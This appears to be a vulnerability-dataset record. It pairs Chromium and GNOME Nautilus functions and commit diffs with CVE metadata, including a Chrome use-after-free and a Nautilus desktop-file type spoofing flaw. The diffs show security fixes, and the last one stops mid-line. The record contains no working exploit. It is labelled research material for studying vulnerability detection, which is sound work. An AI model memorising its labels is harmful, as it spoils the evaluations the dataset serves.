void BrowserView::ShowChromeToMobileBubble() {
GetLocationBarView()->ShowChromeToMobileBubble();
}
|
C
| null | null | null |
@@ -1401,7 +1401,7 @@ ToolbarView* BrowserView::GetToolbarView() const {
///////////////////////////////////////////////////////////////////////////////
// BrowserView, TabStripModelObserver implementation:
-void BrowserView::TabDetachedAt(TabContents* contents, int index) {
+void BrowserView::TabDetachedAt(WebContents* contents, int index) {
// We use index here rather than comparing |contents| because by this time
// the model has already removed |contents| from its list, so
// browser_->GetActiveWebContents() will return NULL or something else.
|
Chrome
|
e89cfcb9090e8c98129ae9160c513f504db74599
|
0c71b754680eb40b42ca1ce7a4e6fef7442b5da4
| 0
|
void BrowserView::ShowChromeToMobileBubble() {
GetLocationBarView()->ShowChromeToMobileBubble();
}
|
152,065
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-5019
|
https://www.cvedetails.com/cve/CVE-2017-5019/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-02-17
| 6.8
|
A use after free in Google Chrome prior to 56.0.2924.76 for Linux, Windows and Mac, and 56.0.2924.87 for Android, allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
| 0
|
content/browser/frame_host/render_frame_host_impl.cc
|
{"sha": "f2bd60be6f35037de28774456df91833dd753f20", "filename": "content/browser/frame_host/render_frame_host_impl.cc", "status": "modified", "additions": 23, "deletions": 11, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1375,8 +1375,6 @@ bool RenderFrameHostImpl::OnMessageReceived(const IPC::Message &msg) {\n \n handled = true;\n IPC_BEGIN_MESSAGE_MAP(RenderFrameHostImpl, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n IPC_MESSAGE_HANDLER(FrameHostMsg_Detach, OnDetach)\n IPC_MESSAGE_HANDLER(FrameHostMsg_FrameFocused, OnFrameFocused)\n IPC_MESSAGE_HANDLER(FrameHostMsg_DidFailProvisionalLoadWithError,\n@@ -1833,21 +1831,35 @@ void RenderFrameHostImpl::OnAudibleStateChanged(bool is_audible) {\n is_audible_ = is_audible;\n }\n \n-void RenderFrameHostImpl::OnDidAddMessageToConsole(\n- int32_t level,\n+void RenderFrameHostImpl::DidAddMessageToConsole(\n+ blink::mojom::ConsoleMessageLevel log_level,\n const base::string16& message,\n int32_t line_no,\n const base::string16& source_id) {\n- if (level < logging::LOG_VERBOSE || level > logging::LOG_FATAL) {\n- bad_message::ReceivedBadMessage(\n- GetProcess(), bad_message::RFH_DID_ADD_CONSOLE_MESSAGE_BAD_SEVERITY);\n- return;\n+ // TODO(https://crbug.com/786836): Update downstream code to use\n+ // ConsoleMessageLevel everywhere to avoid this conversion.\n+ logging::LogSeverity log_severity = logging::LOG_VERBOSE;\n+ switch (log_level) {\n+ case blink::mojom::ConsoleMessageLevel::kVerbose:\n+ log_severity = logging::LOG_VERBOSE;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kInfo:\n+ log_severity = logging::LOG_INFO;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kWarning:\n+ log_severity = logging::LOG_WARNING;\n+ break;\n+ case blink::mojom::ConsoleMessageLevel::kError:\n+ log_severity = logging::LOG_ERROR;\n+ break;\n }\n \n- if (delegate_->DidAddMessageToConsole(level, message, line_no, source_id))\n+ if (delegate_->DidAddMessageToConsole(log_severity, message, line_no,\n+ source_id)) {\n return;\n+ }\n \n- // Pass through log level only on builtin components pages to limit console\n+ // Pass through log severity only on builtin components pages to limit console\n // spew.\n const bool is_builtin_component =\n HasWebUIScheme(delegate_->GetMainFrameLastCommittedURL()) ||\n@@ -1856,7 +1868,7 @@ void RenderFrameHostImpl::OnDidAddMessageToConsole(\n const bool is_off_the_record =\n GetSiteInstance()->GetBrowserContext()->IsOffTheRecord();\n \n- LogConsoleMessage(level, message, line_no, is_builtin_component,\n+ LogConsoleMessage(log_severity, message, line_no, is_builtin_component,\n is_off_the_record, source_id);\n }\n "}<_**next**_>{"sha": "bee010704ea0be084eb5752717d8dcaeb46c04c0", "filename": "content/browser/frame_host/render_frame_host_impl.h", "status": "modified", "additions": 5, "deletions": 4, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/frame_host/render_frame_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1049,10 +1049,6 @@ class CONTENT_EXPORT RenderFrameHostImpl\n class DroppedInterfaceRequestLogger;\n \n // IPC Message handlers.\n- void OnDidAddMessageToConsole(int32_t level,\n- const base::string16& message,\n- int32_t line_no,\n- const base::string16& source_id);\n void OnDetach();\n void OnFrameFocused();\n void OnOpenURL(const FrameHostMsg_OpenURL_Params& params);\n@@ -1206,6 +1202,11 @@ class CONTENT_EXPORT RenderFrameHostImpl\n void FullscreenStateChanged(bool is_fullscreen) override;\n void DocumentOnLoadCompleted() override;\n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override;\n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& message,\n+ int32_t line_no,\n+ const base::string16& source_id) override;\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override;\n #endif"}<_**next**_>{"sha": "35ad6ce3ce3aca5a9e47d54a8bcf1b3f381a00b5", "filename": "content/browser/service_worker/service_worker_context_core.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/browser/service_worker/service_worker_context_core.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/service_worker/service_worker_context_core.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -786,7 +786,7 @@ void ServiceWorkerContextCore::OnReportConsoleMessage(\n const GURL& source_url) {\n DCHECK_CURRENTLY_ON(BrowserThread::IO);\n // NOTE: This differs slightly from\n- // RenderFrameHostImpl::OnDidAddMessageToConsole, which also asks the\n+ // RenderFrameHostImpl::DidAddMessageToConsole, which also asks the\n // content embedder whether to classify the message as a builtin component.\n // This is called on the IO thread, though, so we can't easily get a\n // BrowserContext and call ContentBrowserClient::IsBuiltinComponent()."}<_**next**_>{"sha": "88471bc49cd5b00a9494cc3998ba9c44c2c87088", "filename": "content/common/frame.mojom", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame.mojom", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame.mojom?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -21,6 +21,7 @@ import \"services/service_manager/public/mojom/interface_provider.mojom\";\n import \"services/viz/public/interfaces/compositing/surface_id.mojom\";\n import \"third_party/blink/public/mojom/blob/blob_url_store.mojom\";\n import \"third_party/blink/public/mojom/commit_result/commit_result.mojom\";\n+import \"third_party/blink/public/mojom/devtools/console_message.mojom\";\n import \"third_party/blink/public/mojom/feature_policy/feature_policy.mojom\";\n import \"third_party/blink/public/mojom/frame/lifecycle.mojom\";\n import \"third_party/blink/public/mojom/frame/navigation_initiator.mojom\";\n@@ -473,4 +474,12 @@ interface FrameHost {\n // of the individual bits.\n // TODO(altimin): Move into a separate scheduling interface.\n UpdateActiveSchedulerTrackedFeatures(uint64 features_mask);\n+\n+ // Blink and JavaScript error messages to log to the console or debugger UI.\n+ DidAddMessageToConsole(\n+ blink.mojom.ConsoleMessageLevel log_level,\n+ mojo_base.mojom.BigString16 msg,\n+ int32 line_number,\n+ mojo_base.mojom.String16 source_id);\n+\n };"}<_**next**_>{"sha": "aa3530d1912f804ba01a29be9b4b2178ce996e86", "filename": "content/common/frame_messages.h", "status": "modified", "additions": 0, "deletions": 8, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/common/frame_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame_messages.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -1098,14 +1098,6 @@ IPC_MESSAGE_ROUTED0(FrameMsg_RenderFallbackContent)\n // -----------------------------------------------------------------------------\n // Messages sent from the renderer to the browser.\n \n-// Blink and JavaScript error messages to log to the console\n-// or debugger UI.\n-IPC_MESSAGE_ROUTED4(FrameHostMsg_DidAddMessageToConsole,\n- int32_t, /* log level */\n- base::string16, /* msg */\n- int32_t, /* line number */\n- base::string16 /* source id */)\n-\n // Sent by the renderer when a child frame is created in the renderer.\n //\n // Each of these messages will have a corresponding FrameHostMsg_Detach message"}<_**next**_>{"sha": "d103dd35fa8ce0773f0c3586d17beb2eaeaf8479", "filename": "content/renderer/render_frame_impl.cc", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_frame_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_frame_impl.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4545,9 +4545,9 @@ void RenderFrameImpl::DidAddMessageToConsole(\n }\n }\n \n- Send(new FrameHostMsg_DidAddMessageToConsole(\n- routing_id_, static_cast<int32_t>(log_severity), message.text.Utf16(),\n- static_cast<int32_t>(source_line), source_name.Utf16()));\n+ GetFrameHost()->DidAddMessageToConsole(message.level, message.text.Utf16(),\n+ static_cast<int32_t>(source_line),\n+ source_name.Utf16());\n }\n \n void RenderFrameImpl::DownloadURL("}<_**next**_>{"sha": "2c754dc7c905037b40d841c22103659b8a9cba35", "filename": "content/renderer/render_view_browsertest.cc", "status": "modified", "additions": 20, "deletions": 44, "changes": 64, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/renderer/render_view_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view_browsertest.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -4,6 +4,7 @@\n \n #include <stddef.h>\n #include <stdint.h>\n+\n #include <tuple>\n \n #include \"base/bind.h\"\n@@ -17,6 +18,7 @@\n #include \"base/stl_util.h\"\n #include \"base/strings/string_util.h\"\n #include \"base/strings/utf_string_conversions.h\"\n+#include \"base/test/bind_test_util.h\"\n #include \"base/threading/thread_task_runner_handle.h\"\n #include \"base/time/time.h\"\n #include \"base/values.h\"\n@@ -2486,62 +2488,36 @@ TEST_F(RenderViewImplTest, HistoryIsProperlyUpdatedOnShouldClearHistoryList) {\n view()->HistoryForwardListCount() + 1);\n }\n \n-// IPC Listener that runs a callback when a console.log() is executed from\n-// javascript.\n-class ConsoleCallbackFilter : public IPC::Listener {\n- public:\n- explicit ConsoleCallbackFilter(\n- base::Callback<void(const base::string16&)> callback)\n- : callback_(callback) {}\n-\n- bool OnMessageReceived(const IPC::Message& msg) override {\n- bool handled = true;\n- IPC_BEGIN_MESSAGE_MAP(ConsoleCallbackFilter, msg)\n- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,\n- OnDidAddMessageToConsole)\n- IPC_MESSAGE_UNHANDLED(handled = false)\n- IPC_END_MESSAGE_MAP()\n- return handled;\n- }\n-\n- void OnDidAddMessageToConsole(int32_t,\n- const base::string16& message,\n- int32_t,\n- const base::string16&) {\n- callback_.Run(message);\n- }\n-\n- private:\n- base::Callback<void(const base::string16&)> callback_;\n-};\n-\n // Tests that there's no UaF after dispatchBeforeUnloadEvent.\n // See https://crbug.com/666714.\n TEST_F(RenderViewImplTest, DispatchBeforeUnloadCanDetachFrame) {\n LoadHTML(\n \"<script>window.onbeforeunload = function() { \"\n \"window.console.log('OnBeforeUnload called'); }</script>\");\n \n- // Creates a callback that swaps the frame when the 'OnBeforeUnload called'\n+ // Create a callback that swaps the frame when the 'OnBeforeUnload called'\n // log is printed from the beforeunload handler.\n- std::unique_ptr<ConsoleCallbackFilter> callback_filter(\n- new ConsoleCallbackFilter(base::Bind(\n- [](RenderFrameImpl* frame, const base::string16& msg) {\n- // Makes sure this happens during the beforeunload handler.\n- EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n-\n- // Swaps the main frame.\n- frame->OnMessageReceived(FrameMsg_SwapOut(\n- frame->GetRoutingID(), 1, false, FrameReplicationState()));\n- },\n- base::Unretained(frame()))));\n- render_thread_->sink().AddFilter(callback_filter.get());\n+ base::RunLoop run_loop;\n+ bool was_callback_run = false;\n+ frame()->SetDidAddMessageToConsoleCallback(\n+ base::BindOnce(base::BindLambdaForTesting([&](const base::string16& msg) {\n+ // Makes sure this happens during the beforeunload handler.\n+ EXPECT_EQ(base::UTF8ToUTF16(\"OnBeforeUnload called\"), msg);\n+\n+ // Swaps the main frame.\n+ frame()->OnMessageReceived(FrameMsg_SwapOut(\n+ frame()->GetRoutingID(), 1, false, FrameReplicationState()));\n+\n+ was_callback_run = true;\n+ run_loop.Quit();\n+ })));\n \n- // Simulates a BeforeUnload IPC received from the browser.\n+ // Simulate a BeforeUnload IPC received from the browser.\n frame()->OnMessageReceived(\n FrameMsg_BeforeUnload(frame()->GetRoutingID(), false));\n \n- render_thread_->sink().RemoveFilter(callback_filter.get());\n+ run_loop.Run();\n+ ASSERT_TRUE(was_callback_run);\n }\n \n // IPC Listener that runs a callback when a javascript modal dialog is"}<_**next**_>{"sha": "bdedd20f84277cc35ae59aec5e3cc2b62b75dc33", "filename": "content/test/test_render_frame.cc", "status": "modified", "additions": 22, "deletions": 0, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -47,6 +47,11 @@ class MockFrameHost : public mojom::FrameHost {\n return std::move(last_document_interface_broker_request_);\n }\n \n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ did_add_message_to_console_callback_ = std::move(callback);\n+ }\n+\n // Holds on to the request end of the InterfaceProvider interface whose client\n // end is bound to the corresponding RenderFrame's |remote_interfaces_| to\n // facilitate retrieving the most recent |interface_provider_request| in\n@@ -156,6 +161,15 @@ class MockFrameHost : public mojom::FrameHost {\n \n void UpdateActiveSchedulerTrackedFeatures(uint64_t features_mask) override {}\n \n+ void DidAddMessageToConsole(blink::mojom::ConsoleMessageLevel log_level,\n+ const base::string16& msg,\n+ int32_t line_number,\n+ const base::string16& source_id) override {\n+ if (did_add_message_to_console_callback_) {\n+ std::move(did_add_message_to_console_callback_).Run(msg);\n+ }\n+ }\n+\n #if defined(OS_ANDROID)\n void UpdateUserGestureCarryoverInfo() override {}\n #endif\n@@ -168,6 +182,9 @@ class MockFrameHost : public mojom::FrameHost {\n blink::mojom::DocumentInterfaceBrokerRequest\n last_document_interface_broker_request_;\n \n+ base::OnceCallback<void(const base::string16& msg)>\n+ did_add_message_to_console_callback_;\n+\n DISALLOW_COPY_AND_ASSIGN(MockFrameHost);\n };\n \n@@ -331,6 +348,11 @@ TestRenderFrame::TakeLastCommitParams() {\n return mock_frame_host_->TakeLastCommitParams();\n }\n \n+void TestRenderFrame::SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback) {\n+ mock_frame_host_->SetDidAddMessageToConsoleCallback(std::move(callback));\n+}\n+\n service_manager::mojom::InterfaceProviderRequest\n TestRenderFrame::TakeLastInterfaceProviderRequest() {\n return mock_frame_host_->TakeLastInterfaceProviderRequest();"}<_**next**_>{"sha": "7d719b24a9a6129485a09cbd2a9b6e3c68493b95", "filename": "content/test/test_render_frame.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/content/test/test_render_frame.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_frame.h?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -68,6 +68,11 @@ class TestRenderFrame : public RenderFrameImpl {\n std::unique_ptr<FrameHostMsg_DidCommitProvisionalLoad_Params>\n TakeLastCommitParams();\n \n+ // Sets a callback to be run the next time DidAddMessageToConsole\n+ // is called (e.g. window.console.log() is called).\n+ void SetDidAddMessageToConsoleCallback(\n+ base::OnceCallback<void(const base::string16& msg)> callback);\n+\n service_manager::mojom::InterfaceProviderRequest\n TakeLastInterfaceProviderRequest();\n "}<_**next**_>{"sha": "e27564fc7676757363d8d4035d81fdc5e5a1f196", "filename": "third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "raw_url": "https://github.com/chromium/chromium/raw/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/frame/navigation_rate_limiter.cc?ref=f03ea5a5c2ff26e239dfd23e263b15da2d9cee93", "patch": "@@ -44,7 +44,7 @@ bool NavigationRateLimiter::CanProceed() {\n }\n \n // Display an error message. Do it only once in a while, else it will flood\n- // the browser process with the FrameHostMsg_DidAddMessageToConsole IPC.\n+ // the browser process with the DidAddMessageToConsole Mojo call.\n if (!error_message_sent_) {\n error_message_sent_ = true;\n if (auto* local_frame = DynamicTo<LocalFrame>(frame_.Get())) {"}
|
void RenderFrameHostImpl::RequestAXTreeSnapshot(AXTreeSnapshotCallback callback,
ui::AXMode ax_mode) {
static int next_id = 1;
int callback_id = next_id++;
Send(new AccessibilityMsg_SnapshotTree(routing_id_, callback_id,
ax_mode.mode()));
ax_tree_snapshot_callbacks_.emplace(callback_id, std::move(callback));
}
|
void RenderFrameHostImpl::RequestAXTreeSnapshot(AXTreeSnapshotCallback callback,
ui::AXMode ax_mode) {
static int next_id = 1;
int callback_id = next_id++;
Send(new AccessibilityMsg_SnapshotTree(routing_id_, callback_id,
ax_mode.mode()));
ax_tree_snapshot_callbacks_.emplace(callback_id, std::move(callback));
}
|
C
| null | null | null |
@@ -1375,8 +1375,6 @@ bool RenderFrameHostImpl::OnMessageReceived(const IPC::Message &msg) {
handled = true;
IPC_BEGIN_MESSAGE_MAP(RenderFrameHostImpl, msg)
- IPC_MESSAGE_HANDLER(FrameHostMsg_DidAddMessageToConsole,
- OnDidAddMessageToConsole)
IPC_MESSAGE_HANDLER(FrameHostMsg_Detach, OnDetach)
IPC_MESSAGE_HANDLER(FrameHostMsg_FrameFocused, OnFrameFocused)
IPC_MESSAGE_HANDLER(FrameHostMsg_DidFailProvisionalLoadWithError,
@@ -1833,21 +1831,35 @@ void RenderFrameHostImpl::OnAudibleStateChanged(bool is_audible) {
is_audible_ = is_audible;
}
-void RenderFrameHostImpl::OnDidAddMessageToConsole(
- int32_t level,
+void RenderFrameHostImpl::DidAddMessageToConsole(
+ blink::mojom::ConsoleMessageLevel log_level,
const base::string16& message,
int32_t line_no,
const base::string16& source_id) {
- if (level < logging::LOG_VERBOSE || level > logging::LOG_FATAL) {
- bad_message::ReceivedBadMessage(
- GetProcess(), bad_message::RFH_DID_ADD_CONSOLE_MESSAGE_BAD_SEVERITY);
- return;
+ // TODO(https://crbug.com/786836): Update downstream code to use
+ // ConsoleMessageLevel everywhere to avoid this conversion.
+ logging::LogSeverity log_severity = logging::LOG_VERBOSE;
+ switch (log_level) {
+ case blink::mojom::ConsoleMessageLevel::kVerbose:
+ log_severity = logging::LOG_VERBOSE;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kInfo:
+ log_severity = logging::LOG_INFO;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kWarning:
+ log_severity = logging::LOG_WARNING;
+ break;
+ case blink::mojom::ConsoleMessageLevel::kError:
+ log_severity = logging::LOG_ERROR;
+ break;
}
- if (delegate_->DidAddMessageToConsole(level, message, line_no, source_id))
+ if (delegate_->DidAddMessageToConsole(log_severity, message, line_no,
+ source_id)) {
return;
+ }
- // Pass through log level only on builtin components pages to limit console
+ // Pass through log severity only on builtin components pages to limit console
// spew.
const bool is_builtin_component =
HasWebUIScheme(delegate_->GetMainFrameLastCommittedURL()) ||
@@ -1856,7 +1868,7 @@ void RenderFrameHostImpl::OnDidAddMessageToConsole(
const bool is_off_the_record =
GetSiteInstance()->GetBrowserContext()->IsOffTheRecord();
- LogConsoleMessage(level, message, line_no, is_builtin_component,
+ LogConsoleMessage(log_severity, message, line_no, is_builtin_component,
is_off_the_record, source_id);
}
|
Chrome
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
c246049ec1b28d1af4fe3be886ac5904e1762026
| 0
|
void RenderFrameHostImpl::RequestAXTreeSnapshot(AXTreeSnapshotCallback callback,
ui::AXMode ax_mode) {
static int next_id = 1;
int callback_id = next_id++;
Send(new AccessibilityMsg_SnapshotTree(routing_id_, callback_id,
ax_mode.mode()));
ax_tree_snapshot_callbacks_.emplace(callback_id, std::move(callback));
}
|
60,944
| null |
Remote
|
Single system
| null |
CVE-2017-14604
|
https://www.cvedetails.com/cve/CVE-2017-14604/
|
CWE-20
|
Low
| null |
Partial
| null |
2017-09-20
| 4
|
GNOME Nautilus before 3.23.90 allows attackers to spoof a file type by using the .desktop file extension, as demonstrated by an attack in which a .desktop file's Name field ends in .pdf but this file's Exec field launches a malicious *sh -c* command. In other words, Nautilus provides no UI indication that a file actually has the potentially unsafe .desktop extension; instead, the UI only shows the .pdf extension. One (slightly) mitigating factor is that an attack requires the .desktop file to have execute permission. The solution is to ask the user to confirm that the file is supposed to be treated as a .desktop file, and then remember the user's answer in the metadata::trusted field.
|
2018-01-26
|
Exec Code
| 0
|
https://github.com/GNOME/nautilus/commit/1630f53481f445ada0a455e9979236d31a8d3bb0
|
1630f53481f445ada0a455e9979236d31a8d3bb0
|
mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
| 0
|
src/nautilus-directory-async.c
|
{"sha": "b02e3de87b10a1d07f6f8bdd3d9ec9febfe7a024", "filename": "src/nautilus-directory-async.c", "status": "modified", "additions": 6, "deletions": 1, "changes": 7, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-directory-async.c", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-directory-async.c", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-directory-async.c?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -30,6 +30,7 @@\n #include \"nautilus-global-preferences.h\"\n #include \"nautilus-link.h\"\n #include \"nautilus-profile.h\"\n+#include \"nautilus-metadata.h\"\n #include <eel/eel-glib-extensions.h>\n #include <gtk/gtk.h>\n #include <libxml/parser.h>\n@@ -3580,13 +3581,17 @@ is_link_trusted (NautilusFile *file,\n {\n GFile *location;\n gboolean res;\n+ g_autofree gchar* trusted = NULL;\n \n if (!is_launcher)\n {\n return TRUE;\n }\n \n- if (nautilus_file_can_execute (file))\n+ trusted = nautilus_file_get_metadata (file,\n+ NAUTILUS_METADATA_KEY_DESKTOP_FILE_TRUSTED,\n+ NULL);\n+ if (nautilus_file_can_execute (file) && trusted != NULL)\n {\n return TRUE;\n }"}<_**next**_>{"sha": "cd8ea0bdc66e087f860df07126f3cbe71d0c9c38", "filename": "src/nautilus-file-operations.c", "status": "modified", "additions": 31, "deletions": 122, "changes": 153, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-file-operations.c", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-file-operations.c", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-file-operations.c?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -235,10 +235,10 @@ typedef struct\n #define COPY_FORCE _(\"Copy _Anyway\")\n \n static void\n-mark_desktop_file_trusted (CommonJob *common,\n- GCancellable *cancellable,\n- GFile *file,\n- gboolean interactive);\n+mark_desktop_file_executable (CommonJob *common,\n+ GCancellable *cancellable,\n+ GFile *file,\n+ gboolean interactive);\n \n static gboolean\n is_all_button_text (const char *button_text)\n@@ -5290,10 +5290,10 @@ copy_move_file (CopyMoveJob *copy_job,\n g_file_equal (copy_job->desktop_location, dest_dir) &&\n is_trusted_desktop_file (src, job->cancellable))\n {\n- mark_desktop_file_trusted (job,\n- job->cancellable,\n- dest,\n- FALSE);\n+ mark_desktop_file_executable (job,\n+ job->cancellable,\n+ dest,\n+ FALSE);\n }\n \n if (job->undo_info != NULL)\n@@ -7887,9 +7887,9 @@ nautilus_file_operations_empty_trash (GtkWidget *parent_view)\n }\n \n static void\n-mark_trusted_task_done (GObject *source_object,\n- GAsyncResult *res,\n- gpointer user_data)\n+mark_desktop_file_executable_task_done (GObject *source_object,\n+ GAsyncResult *res,\n+ gpointer user_data)\n {\n MarkTrustedJob *job = user_data;\n \n@@ -7907,110 +7907,19 @@ mark_trusted_task_done (GObject *source_object,\n #define TRUSTED_SHEBANG \"#!/usr/bin/env xdg-open\\n\"\n \n static void\n-mark_desktop_file_trusted (CommonJob *common,\n- GCancellable *cancellable,\n- GFile *file,\n- gboolean interactive)\n+mark_desktop_file_executable (CommonJob *common,\n+ GCancellable *cancellable,\n+ GFile *file,\n+ gboolean interactive)\n {\n- char *contents, *new_contents;\n- gsize length, new_length;\n GError *error;\n guint32 current_perms, new_perms;\n int response;\n GFileInfo *info;\n \n retry:\n- error = NULL;\n- if (!g_file_load_contents (file,\n- cancellable,\n- &contents, &length,\n- NULL, &error))\n- {\n- if (interactive)\n- {\n- response = run_error (common,\n- g_strdup (_(\"Unable to mark launcher trusted (executable)\")),\n- error->message,\n- NULL,\n- FALSE,\n- CANCEL, RETRY,\n- NULL);\n- }\n- else\n- {\n- response = 0;\n- }\n-\n-\n- if (response == 0 || response == GTK_RESPONSE_DELETE_EVENT)\n- {\n- abort_job (common);\n- }\n- else if (response == 1)\n- {\n- goto retry;\n- }\n- else\n- {\n- g_assert_not_reached ();\n- }\n-\n- goto out;\n- }\n-\n- if (!g_str_has_prefix (contents, \"#!\"))\n- {\n- new_length = length + strlen (TRUSTED_SHEBANG);\n- new_contents = g_malloc 